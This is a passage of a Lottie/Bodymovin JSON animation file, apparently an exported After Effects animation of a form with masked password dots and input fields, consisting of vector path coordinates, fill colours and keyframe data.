7],[12.53,3.633],[11.45,3.838],[10.131,3.544],[9.256,2.758],[8.948,1.644],[9.181,0.598],[9.851,-0.161],[10.903,-0.625],[12.277,-0.783]],"c":true},"ix":2},"nm":"Path 17","mn":"ADBE Vector Shape - Group","hd":false},{"ind":17,"ty":"sh","ix":18,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,0]],"v":[[18.156,-3.695],[18.156,3.702],[16.885,3.702],[16.885,-3.695]],"c":true},"ix":2},"nm":"Path 18","mn":"ADBE Vector Shape - Group","hd":false},{"ind":18,"ty":"sh","ix":19,"ks":{"a":0,"k":{"i":[[0,0.196],[-0.123,0.141],[-0.246,0],[-0.128,-0.141],[0,-0.205],[0.132,-0.141],[0.242,0],[0.128,0.137]],"o":[[0,-0.205],[0.128,-0.141],[0.242,0],[0.132,0.141],[0,0.196],[-0.128,0.137],[-0.246,0],[-0.123,-0.141]],"v":[[16.789,-5.657],[16.974,-6.176],[17.534,-6.388],[18.088,-6.176],[18.286,-5.657],[18.088,-5.151],[17.534,-4.946],[16.974,-5.151]],"c":true},"ix":2},"nm":"Path 19","mn":"ADBE Vector Shape - Group","hd":false},{"ind":19,"ty":"sh","ix":20,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,0]],"v":[[21.561,-6.798],[21.561,3.702],[20.289,3.702],[20.289,-6.798]],"c":true},"ix":2},"nm":"Path 20","mn":"ADBE Vector Shape - Group","hd":false},{"ind":20,"ty":"sh","ix":21,"ks":{"a":0,"k":{"i":[[0,0.21],[-0.132,0.146],[-0.255,0],[-0.132,-0.15],[0,-0.214],[0.137,-0.146],[0.255,0],[0.137,0.146]],"o":[[0,-0.214],[0.137,-0.15],[0.255,0],[0.137,0.146],[0,0.21],[-0.132,0.146],[-0.255,0],[-0.132,-0.146]],"v":[[23.611,3.032],[23.81,2.492],[24.397,2.266],[24.979,2.492],[25.184,3.032],[24.979,3.565],[24.397,3.784],[23.81,3.565]],"c":true},"ix":2},"nm":"Path 21","mn":"ADBE Vector Shape - Group","hd":false},{"ind":21,"ty":"sh","ix":22,"ks":{"a":0,"k":{"i":[[-0.392,0],[-0.255,0.123],[-0.164,0.214],[-0.023,0.278],[0,0],[0.273,-0.378],[0.438,-0.232],[0.524,0],[0.415,0.196],[0.273,0.342],[0.137,0.442],[0,0.497],[0,0],[-0.132,0.442],[-0.269,0.342],[-0.41,0.196],[-0.556,0],[-0.433,-0.237],[-0.246,-0.406],[-0.023,-0.51],[0,0],[0.15,0.246],[0.255,0.146],[0.337,0],[0.264,-0.155],[0.155,-0.26],[0.068,-0.314],[0,-0.324],[0,0],[-0.064,-0.314],[-0.15,-0.255],[-0.26,-0.155]],"o":[[0.301,0],[0.255,-0.123],[0.164,-0.219],[0,0],[-0.023,0.438],[-0.269,0.374],[-0.438,0.228],[-0.556,0],[-0.41,-0.196],[-0.269,-0.342],[-0.132,-0.447],[0,0],[0,-0.497],[0.137,-0.447],[0.273,-0.342],[0.415,-0.196],[0.579,0],[0.433,0.232],[0.251,0.401],[0,0],[-0.023,-0.305],[-0.146,-0.246],[-0.251,-0.15],[-0.387,0],[-0.26,0.15],[-0.15,0.255],[-0.064,0.31],[0,0],[0,0.324],[0.064,0.314],[0.155,0.255],[0.264,0.15]],"v":[[30.242,2.799],[31.076,2.615],[31.705,2.109],[31.985,1.364],[33.188,1.364],[32.744,2.587],[31.685,3.497],[30.242,3.838],[28.786,3.544],[27.761,2.738],[27.152,1.562],[26.954,0.147],[26.954,-0.14],[27.152,-1.548],[27.761,-2.731],[28.786,-3.538],[30.242,-3.832],[31.76,-3.476],[32.778,-2.519],[33.188,-1.152],[31.985,-1.152],[31.726,-1.979],[31.124,-2.567],[30.242,-2.792],[29.265,-2.56],[28.643,-1.945],[28.314,-1.09],[28.219,-0.14],[28.219,0.147],[28.314,1.104],[28.636,1.958],[29.258,2.574]],"c":true},"ix":2},"nm":"Path 22","mn":"ADBE Vector Shape - Group","hd":false},{"ind":22,"ty":"sh","ix":23,"ks":{"a":0,"k":{"i":[[0,0.533],[0,0],[-0.155,0.456],[-0.292,0.337],[-0.415,0.187],[-0.515,0],[-0.415,-0.191],[-0.292,-0.342],[-0.155,-0.46],[0,-0.533],[0,0],[0.155,-0.456],[0.296,-0.342],[0.415,-0.191],[0.52,0],[0.415,0.187],[0.296,0.337],[0.155,0.456]],"o":[[0,0],[0,-0.533],[0.155,-0.46],[0.292,-0.342],[0.415,-0.191],[0.52,0],[0.419,0.187],[0.296,0.337],[0.155,0.456],[0,0],[0,0.533],[-0.155,0.456],[-0.292,0.337],[-0.41,0.187],[-0.52,0],[-0.415,-0.191],[-0.292,-0.342],[-0.155,-0.456]],"v":[[34.275,0.085],[34.275,-0.072],[34.508,-1.555],[35.178,-2.751],[36.237,-3.544],[37.632,-3.832],[39.033,-3.544],[40.1,-2.751],[40.776,-1.555],[41.009,-0.072],[41.009,0.085],[40.776,1.569],[40.1,2.765],[39.04,3.558],[37.646,3.838],[36.244,3.558],[35.178,2.765],[34.508,1.569]],"c":true},"ix":2},"nm":"Path 23","mn":"ADBE Vector Shape - Group","hd":false},{"ind":23,"ty":"sh","ix":24,"ks":{"a":0,"k":{"i":[[0,-0.365],[0,0],[-0.087,-0.328],[-0.173,-0.251],[-0.264,-0.146],[-0.351,0],[-0.26,0.141],[-0.173,0.251],[-0.087,0.324],[0,0.369],[0,0],[0.091,0.324],[0.178,0.251],[0.264,0.146],[0.351,0],[0.264,-0.146],[0.178,-0.255],[0.087,-0.328]],"o":[[0,0],[0,0.369],[0.087,0.324],[0.178,0.251],[0.264,0.141],[0.346,0],[0.264,-0.146],[0.173,-0.251],[0.091,-0.328],[0,0],[0,-0.365],[-0.087,-0.328],[-0.173,-0.255],[-0.26,-0.146],[-0.346,0],[-0.26,0.146],[-0.173,0.251],[-0.087,0.324]],"v":[[35.54,-0.072],[35.54,0.085],[35.67,1.131],[36.06,1.993],[36.723,2.587],[37.646,2.799],[38.555,2.587],[39.211,1.993],[39.601,1.131],[39.737,0.085],[39.737,-0.072],[39.601,-1.104],[39.204,-1.972],[38.548,-2.574],[37.632,-2.792],[36.716,-2.574],[36.06,-1.972],[35.67,-1.104]],"c":true},"ix":2},"nm":"Path 24","mn":"ADBE Vector Shape - Group","hd":false},{"ind":24,"ty":"sh","ix":25,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,0],[0,0]],"v":[[43.853,-2.225],[43.853,3.702],[42.581,3.702],[42.581,-3.695],[43.784,-3.695]],"c":true},"ix":2},"nm":"Path 25","mn":"ADBE Vector Shape - Group","hd":false},{"ind":25,"ty":"sh","ix":26,"ks":{"a":0,"k":{"i":[[0,-0.333],[0,0],[-0.128,0.428],[-0.251,0.319],[-0.374,0.173],[-0.492,0],[-0.292,-0.1],[-0.214,-0.21],[-0.118,-0.328],[0,-0.465],[0,0],[0,0],[0,0],[0.132,0.232],[0.237,0.105],[0.319,0],[0.251,-0.132],[0.15,-0.232],[0.068,-0.301]],"o":[[0,0],[0.005,-0.506],[0.128,-0.433],[0.251,-0.319],[0.374,-0.178],[0.346,0],[0.292,0.096],[0.214,0.21],[0.118,0.328],[0,0],[0,0],[0,0],[0,-0.387],[-0.128,-0.232],[-0.237,-0.109],[-0.374,0],[-0.251,0.132],[-0.15,0.232],[-0.064,0.296]],"v":[[43.593,-0.277],[43.005,-0.297],[43.203,-1.699],[43.771,-2.827],[44.707,-3.565],[46.006,-3.832],[46.963,-3.681],[47.722,-3.223],[48.221,-2.417],[48.398,-1.227],[48.398,3.702],[47.134,3.702],[47.134,-1.166],[46.936,-2.095],[46.389,-2.601],[45.555,-2.765],[44.618,-2.567],[44.017,-2.02],[43.688,-1.22]],"c":true},"ix":2},"nm":"Path 26","mn":"ADBE Vector Shape - Group","hd":false},{"ind":26,"ty":"sh","ix":27,"ks":{"a":0,"k":{"i":[[0,-0.242],[0,0],[-0.128,0.374],[-0.246,0.292],[-0.365,0.169],[-0.469,0],[-0.305,-0.105],[-0.21,-0.219],[-0.109,-0.337],[0,-0.465],[0,0],[0,0],[0,0],[0.132,0.228],[0.237,0.091],[0.324,0],[0.214,-0.096],[0.146,-0.169],[0.077,-0.214]],"o":[[0,0],[0.005,-0.406],[0.132,-0.374],[0.251,-0.292],[0.365,-0.173],[0.396,0],[0.31,0.105],[0.214,0.214],[0.109,0.337],[0,0],[0,0],[0,0],[0,-0.415],[-0.128,-0.232],[-0.232,-0.096],[-0.278,0],[-0.214,0.096],[-0.146,0.164],[-0.073,0.214]],"v":[[48.385,-0.974],[47.537,-0.714],[47.735,-1.883],[48.303,-2.881],[49.226,-3.572],[50.477,-3.832],[51.529,-3.674],[52.309,-3.189],[52.794,-2.362],[52.958,-1.159],[52.958,3.702],[51.687,3.702],[51.687,-1.172],[51.488,-2.136],[50.941,-2.622],[50.107,-2.765],[49.369,-2.622],[48.829,-2.225],[48.494,-1.658]],"c":true},"ix":2},"nm":"Path 27","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"fl","c":{"a":0,"k":[0.458823531866,0.458823531866,0.458823531866,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 1","np":28,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":0,"op":160,"st":0,"ct":1,"bm":0},{"ddd":0,"ind":12,"ty":4,"nm":"••• mask","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[200.5,147.5,0],"ix":2,"l":2},"a":{"a":0,"k":[0,0,0],"ix":1,"l":2},"s":{"a":0,"k":[100,100,100],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"ty":"rc","d":1,"s":{"a":1,"k":[{"i":{"x":[0.833,0.833],"y":[0.833,0.833]},"o":{"x":[0.167,0.167],"y":[0.167,0.167]},"t":63,"s":[127.113,29.35]},{"t":77,"s":[127.113,29.35]}],"ix":2},"p":{"a":0,"k":[0,0],"ix":3},"r":{"a":0,"k":0,"ix":4},"nm":"Rectangle Path 1","mn":"ADBE Vector Shape - Rect","hd":false},{"ty":"fl","c":{"a":0,"k":[0.998284313725,0.998284313725,0.998284313725,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[49.68,106.948],"ix":2},"a":{"a":0,"k":[64.123,0.5],"ix":1},"s":{"a":1,"k":[{"i":{"x":[0.833,0.833],"y":[0.833,0.833]},"o":{"x":[0.167,0.167],"y":[0.167,0.167]},"t":64,"s":[99.168,100]},{"t":77,"s":[6.444,100]}],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Rectangle 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":0,"op":240,"st":0,"ct":1,"bm":0},{"ddd":0,"ind":13,"ty":4,"nm":"Layer 2","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[168.5,253,0],"ix":2,"l":2},"a":{"a":0,"k":[0,0,0],"ix":1,"l":2},"s":{"a":0,"k":[109,109,100],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0.387],[0,0],[-0.246,0.255],[-0.428,0],[-0.251,-0.255],[0,-0.392],[0,0],[0.251,-0.255],[0.433,0],[0.251,0.251]],"o":[[0,0],[0,-0.392],[0.251,-0.255],[0.433,0],[0.251,0.255],[0,0],[0,0.387],[-0.246,0.251],[-0.428,0],[-0.251,-0.255]],"v":[[-39.238,0.16],[-39.238,-0.12],[-38.869,-1.091],[-37.851,-1.474],[-36.825,-1.091],[-36.449,-0.12],[-36.449,0.16],[-36.825,1.124],[-37.844,1.5],[-38.862,1.124]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ind":1,"ty":"sh","ix":2,"ks":{"a":0,"k":{"i":[[0,0.387],[0,0],[-0.246,0.255],[-0.428,0],[-0.251,-0.255],[0,-0.392],[0,0],[0.251,-0.255],[0.433,0],[0.251,0.251]],"o":[[0,0],[0,-0.392],[0.251,-0.255],[0.433,0],[0.251,0.255],[0,0],[0,0.387],[-0.246,0.251],[-0.428,0],[-0.251,-0.255]],"v":[[-34.508,0.16],[-34.508,-0.12],[-34.139,-1.091],[-33.12,-1.474],[-32.095,-1.091],[-31.719,-0.12],[-31.719,0.16],[-32.095,1.124],[-33.113,1.5],[-34.132,1.124]],"c":true},"ix":2},"nm":"Path 2","mn":"ADBE Vector Shape - Group","hd":false},{"ind":2,"ty":"sh","ix":3,"ks":{"a":0,"k":{"i":[[0,0.387],[0,0],[-0.246,0.255],[-0.428,0],[-0.251,-0.255],[0,-0.392],[0,0],[0.251,-0.255],[0.433,0],[0.251,0.251]],"o":[[0,0],[0,-0.392],[0.251,-0.255],[0.433,0],[0.251,0.255],[0,0],[0,0.387],[-0.246,0.251],[-0.428,0],[-0.251,-0.255]],"v":[[-29.777,0.16],[-29.777,-0.12],[-29.408,-1.091],[-28.39,-1.474],[-27.364,-1.091],[-26.988,-0.12],[-26.988,0.16],[-27.364,1.124],[-28.383,1.5],[-29.401,1.124]],"c":true},"ix":2},"nm":"Path 3","mn":"ADBE Vector Shape - Group","hd":false},{"ind":3,"ty":"sh","ix":4,"ks":{"a":0,"k":{"i":[[0,0.387],[0,0],[-0.246,0.255],[-0.428,0],[-0.251,-0.255],[0,-0.392],[0,0],[0.251,-0.255],[0.433,0],[0.251,0.251]],"o":[[0,0],[0,-0.392],[0.251,-0.255],[0.433,0],[0.251,0.255],[0,0],[0,0.387],[-0.246,0.251],[-0.428,0],[-0.251,-0.255]],"v":[[-25.047,0.16],[-25.047,-0.12],[-24.678,-1.091],[-23.659,-1.474],[-22.634,-1.091],[-22.258,-0.12],[-22.258,0.16],[-22.634,1.124],[-23.652,1.5],[-24.671,1.124]],"c":true},"ix":2},"nm":"Path 4","mn":"ADBE Vector Shape - Group","hd":false},{"ind":4,"ty":"sh","ix":5,"ks":{"a":0,"k":{"i":[[0,0.387],[0,0],[-0.246,0.255],[-0.428,0],[-0.251,-0.255],[0,-0.392],[0,0],[0.251,-0.255],[0.433,0],[0.251,0.251]],"o":[[0,0],[0,-0.392],[0.251,-0.255],[0.433,0],[0.251,0.255],[0,0],[0,0.387],[-0.246,0.251],[-0.428,0],[-0.251,-0.255]],"v":[[-20.316,0.16],[-20.316,-0.12],[-19.947,-1.091],[-18.929,-1.474],[-17.903,-1.091],[-17.527,-0.12],[-17.527,0.16],[-17.903,1.124],[-18.922,1.5],[-19.94,1.124]],"c":true},"ix":2},"nm":"Path 5","mn":"ADBE Vector Shape - Group","hd":false},{"ind":5,"ty":"sh","ix":6,"ks":{"a":0,"k":{"i":[[0,0.387],[0,0],[-0.246,0.255],[-0.428,0],[-0.251,-0.255],[0,-0.392],[0,0],[0.251,-0.255],[0.433,0],[0.251,0.251]],"o":[[0,0],[0,-0.392],[0.251,-0.255],[0.433,0],[0.251,0.255],[0,0],[0,0.387],[-0.246,0.251],[-0.428,0],[-0.251,-0.255]],"v":[[-15.586,0.16],[-15.586,-0.12],[-15.217,-1.091],[-14.198,-1.474],[-13.173,-1.091],[-12.797,-0.12],[-12.797,0.16],[-13.173,1.124],[-14.191,1.5],[-15.21,1.124]],"c":true},"ix":2},"nm":"Path 6","mn":"ADBE Vector Shape - Group","hd":false},{"ind":6,"ty":"sh","ix":7,"ks":{"a":0,"k":{"i":[[0,0.387],[0,0],[-0.246,0.255],[-0.428,0],[-0.251,-0.255],[0,-0.392],[0,0],[0.251,-0.255],[0.433,0],[0.251,0.251]],"o":[[0,0],[0,-0.392],[0.251,-0.255],[0.433,0],[0.251,0.255],[0,0],[0,0.387],[-0.246,0.251],[-0.428,0],[-0.251,-0.255]],"v":[[-10.855,0.16],[-10.855,-0.12],[-10.486,-1.091],[-9.468,-1.474],[-8.442,-1.091],[-8.066,-0.12],[-8.066,0.16],[-8.442,1.124],[-9.461,1.5],[-10.479,1.124]],"c":true},"ix":2},"nm":"Path 7","mn":"ADBE Vector Shape - Group","hd":false},{"ind":7,"ty":"sh","ix":8,"ks":{"a":0,"k":{"i":[[0,0.387],[0,0],[-0.246,0.255],[-0.428,0],[-0.251,-0.255],[0,-0.392],[0,0],[0.251,-0.255],[0.433,0],[0.251,0.251]],"o":[[0,0],[0,-0.392],[0.251,-0.255],[0.433,0],[0.251,0.255],[0,0],[0,0.387],[-0.246,0.251],[-0.428,0],[-0.251,-0.255]],"v":[[-6.125,0.16],[-6.125,-0.12],[-5.756,-1.091],[-4.737,-1.474],[-3.712,-1.091],[-3.336,-0.12],[-3.336,0.16],[-3.712,1.124],[-4.73,1.5],[-5.749,1.124]],"c":true},"ix":2},"nm":"Path 8","mn":"ADBE Vector Shape - Group","hd":false},{"ind":8,"ty":"sh","ix":9,"ks":{"a":0,"k":{"i":[[0,0.387],[0,0],[-0.246,0.255],[-0.428,0],[-0.251,-0.255],[0,-0.392],[0,0],[0.251,-0.255],[0.433,0],[0.251,0.251]],"o":[[0,0],[0,-0.392],[0.251,-0.255],[0.433,0],[0.251,0.255],[0,0],[0,0.387],[-0.246,0.251],[-0.428,0],[-0.251,-0.255]],"v":[[-1.395,0.16],[-1.395,-0.12],[-1.025,-1.091],[-0.007,-1.474],[1.019,-1.091],[1.395,-0.12],[1.395,0.16],[1.019,1.124],[0,1.5],[-1.019,1.124]],"c":true},"ix":2},"nm":"Path 9","mn":"ADBE Vector Shape - Group","hd":false},{"ind":9,"ty":"sh","ix":10,"ks":{"a":0,"k":{"i":[[0,0.387],[0,0],[-0.246,0.255],[-0.428,0],[-0.251,-0.255],[0,-0.392],[0,0],[0.251,-0.255],[0.433,0],[0.251,0.251]],"o":[[0,0],[0,-0.392],[0.251,-0.255],[0.433,0],[0.251,0.255],[0,0],[0,0.387],[-0.246,0.251],[-0.428,0],[-0.251,-0.255]],"v":[[3.336,0.16],[3.336,-0.12],[3.705,-1.091],[4.724,-1.474],[5.749,-1.091],[6.125,-0.12],[6.125,0.16],[5.749,1.124],[4.73,1.5],[3.712,1.124]],"c":true},"ix":2},"nm":"Path 10","mn":"ADBE Vector Shape - Group","hd":false},{"ind":10,"ty":"sh","ix":11,"ks":{"a":0,"k":{"i":[[0,0.387],[0,0],[-0.246,0.255],[-0.428,0],[-0.251,-0.255],[0,-0.392],[0,0],[0.251,-0.255],[0.433,0],[0.251,0.251]],"o":[[0,0],[0,-0.392],[0.251,-0.255],[0.433,0],[0.251,0.255],[0,0],[0,0.387],[-0.246,0.251],[-0.428,0],[-0.251,-0.255]],"v":[[8.066,0.16],[8.066,-0.12],[8.436,-1.091],[9.454,-1.474],[10.479,-1.091],[10.855,-0.12],[10.855,0.16],[10.479,1.124],[9.461,1.5],[8.442,1.124]],"c":true},"ix":2},"nm":"Path 11","mn":"ADBE Vector Shape - Group","hd":false},{"ind":11,"ty":"sh","ix":12,"ks":{"a":0,"k":{"i":[[0,0.387],[0,0],[-0.246,0.255],[-0.428,0],[-0.251,-0.255],[0,-0.392],[0,0],[0.251,-0.255],[0.433,0],[0.251,0.251]],"o":[[0,0],[0,-0.392],[0.251,-0.255],[0.433,0],[0.251,0.255],[0,0],[0,0.387],[-0.246,0.251],[-0.428,0],[-0.251,-0.255]],"v":[[12.797,0.16],[12.797,-0.12],[13.166,-1.091],[14.185,-1.474],[15.21,-1.091],[15.586,-0.12],[15.586,0.16],[15.21,1.124],[14.191,1.5],[13.173,1.124]],"c":true},"ix":2},"nm":"Path 12","mn":"ADBE Vector Shape - Group","hd":false},{"ind":12,"ty":"sh","ix":13,"ks":{"a":0,"k":{"i":[[0,0.387],[0,0],[-0.246,0.255],[-0.428,0],[-0.251,-0.255],[0,-0.392],[0,0],[0.251,-0.255],[0.433,0],[0.251,0.251]],"o":[[0,0],[0,-0.392],[0.251,-0.255],[0.433,0],[0.251,0.255],[0,0],[0,0.387],[-0.246,0.251],[-0.428,0],[-0.251,-0.255]],"v":[[17.527,0.16],[17.527,-0.12],[17.896,-1.091],[18.915,-1.474],[19.94,-1.091],[20.316,-0.12],[20.316,0.16],[19.94,1.124],[18.922,1.5],[17.903,1.124]],"c":true},"ix":2},"nm":"Path 13","mn":"ADBE Vector Shape - Group","hd":false},{"ind":13,"ty":"sh","ix":14,"ks":{"a":0,"k":{"i":[[0,0.387],[0,0],[-0.246,0.255],[-0.428,0],[-0.251,-0.255],[0,-0.392],[0,0],[0.251,-0.255],[0.433,0],[0.251,0.251]],"o":[[0,0],[0,-0.392],[0.251,-0.255],[0.433,0],[0.251,0.255],[0,0],[0,0.387],[-0.246,0.251],[-0.428,0],[-0.251,-0.255]],"v":[[22.258,0.16],[22.258,-0.12],[22.627,-1.091],[23.646,-1.474],[24.671,-1.091],[25.047,-0.12],[25.047,0.16],[24.671,1.124],[23.652,1.5],[22.634,1.124]],"c":true},"ix":2},"nm":"Path 14","mn":"ADBE Vector Shape - Group","hd":false},{"ind":14,"ty":"sh","ix":15,"ks":{"a":0,"k":{"i":[[0,0.387],[0,0],[-0.246,0.255],[-0.428,0],[-0.251,-0.255],[0,-0.392],[0,0],[0.251,-0.255],[0.433,0],[0.251,0.251]],"o":[[0,0],[0,-0.392],[0.251,-0.255],[0.433,0],[0.251,0.255],[0,0],[0,0.387],[-0.246,0.251],[-0.428,0],[-0.251,-0.255]],"v":[[26.988,0.16],[26.988,-0.12],[27.357,-1.091],[28.376,-1.474],[29.401,-1.091],[29.777,-0.12],[29.777,0.16],[29.401,1.124],[28.383,1.5],[27.364,1.124]],"c":true},"ix":2},"nm":"Path 15","mn":"ADBE Vector Shape - Group","hd":false},{"ind":15,"ty":"sh","ix":16,"ks":{"a":0,"k":{"i":[[0,0.387],[0,0],[-0.246,0.255],[-0.428,0],[-0.251,-0.255],[0,-0.392],[0,0],[0.251,-0.255],[0.433,0],[0.251,0.251]],"o":[[0,0],[0,-0.392],[0.251,-0.255],[0.433,0],[0.251,0.255],[0,0],[0,0.387],[-0.246,0.251],[-0.428,0],[-0.251,-0.255]],"v":[[31.719,0.16],[31.719,-0.12],[32.088,-1.091],[33.106,-1.474],[34.132,-1.091],[34.508,-0.12],[34.508,0.16],[34.132,1.124],[33.113,1.5],[32.095,1.124]],"c":true},"ix":2},"nm":"Path 16","mn":"ADBE Vector Shape - Group","hd":false},{"ind":16,"ty":"sh","ix":17,"ks":{"a":0,"k":{"i":[[0,0.387],[0,0],[-0.246,0.255],[-0.428,0],[-0.251,-0.255],[0,-0.392],[0,0],[0.251,-0.255],[0.433,0],[0.251,0.251]],"o":[[0,0],[0,-0.392],[0.251,-0.255],[0.433,0],[0.251,0.255],[0,0],[0,0.387],[-0.246,0.251],[-0.428,0],[-0.251,-0.255]],"v":[[36.449,0.16],[36.449,-0.12],[36.818,-1.091],[37.837,-1.474],[38.862,-1.091],[39.238,-0.12],[39.238,0.16],[38.862,1.124],[37.844,1.5],[36.825,1.124]],"c":true},"ix":2},"nm":"Path 17","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"fl","c":{"a":0,"k":[0.458823531866,0.458823531866,0.458823531866,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 1","np":18,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":0,"op":160,"st":0,"ct":1,"bm":0},{"ddd":0,"ind":15,"ty":4,"nm":"form field 2","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[218,252.75,0],"ix":2,"l":2},"a":{"a":0,"k":[0,0,0],"ix":1,"l":2},"s":{"a":0,"k":[100,100,100],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,-4.497],[0,0],[-4.497,0],[0,0],[0,4.497],[0,0],[4.497,0]],"o":[[0,0],[-4.497,0],[0,0],[0,4.497],[0,0],[4.497,0],[0,0],[0,-4.497],[0,0]],"v":[[95.844,-20],[-95.844,-20],[-104,-11.844],[-104,11.844],[-95.844,20],[95.844,20],[104,11.844],[104,-11.844],[95.844,-20]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ind":1,"ty":"sh","ix":2,"ks":{"a":0,"k":{"i":[[0,0],[0,-3.4],[0,0],[3.4,0],[0,0],[0,3.4],[0,0],[-3.4,0],[0,0]],"o":[[3.4,0],[0,0],[0,3.4],[0,0],[-3.4,0],[0,0],[0,-3.4],[0,0],[0,0]],"v":[[95.844,-18],[102,-11.844],[102,11.844],[95.844,18],[-95.844,18],[-102,11.844],[-102,-11.844],[-95.844,-18],[95.844,-18]],"c":false},"ix":2},"nm":"Path 2","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"fl","c":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":0,"s":[0.827450990677,0.890196084976,0.992156863213,1]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":57,"s":[0.827450990677,0.890196084976,0.992156863213,1]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":58,"s":[0.486274510622,0.674509823322,0.972549021244,1]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":159,"s":[0.486274510622,0.674509823322,0.972549021244,1]},{"t":160,"s":[0.827450990677,0.890196084976,0.992156863213,1]}],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":0,"op":225,"st":0,"ct":1,"bm":0},{"ddd":0,"ind":16,"ty":4,"nm":"form field","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[218,198.75,0],"ix":2,"l":2},"a":{"a":0,"k":[0,0,0],"ix":1,"l":2},"s":{"a":0,"k":[100,100,100],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,-4.497],[0,0],[-4.497,0],[0,0],[0,4.497],[0,0],[4.497,0]],"o":[[0,0],[-4.497,0],[0,0],[0,4.497],[0,0],[4.497,0],[0,0],[0,-4.497],[0,0]],"v":[[95.844,-20],[-95.844,-20],[-104,-11.844],[-104,11.844],[-95.844,20],[95.844,20],[104,11.844],[104,-11.844],[95.844,-20]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ind":1,"ty":"sh","ix":2,"ks":{"a":0,"k":{"i":[[0,0],[0,-3.4],[0,0],[3.4,0],[0,0],[0,3.4],[0,0],[-3.4,0],[0,0]],"o":[[3.4,0],[0,0],[0,3.4],[0,0],[-3.4,0],[0,0],[0,-3.4],[0,0],[0,0]],"v":[[95.844,-18],[102,-11.844],[102,11.844],[95.844,18],[-95.844,18],[-102,11.844],[-102,-11.844],[-95.844,-18],[95.844,-18]],"c":false},"ix":2},"nm":"Path 2","mn":"ADBE Vector Shape - 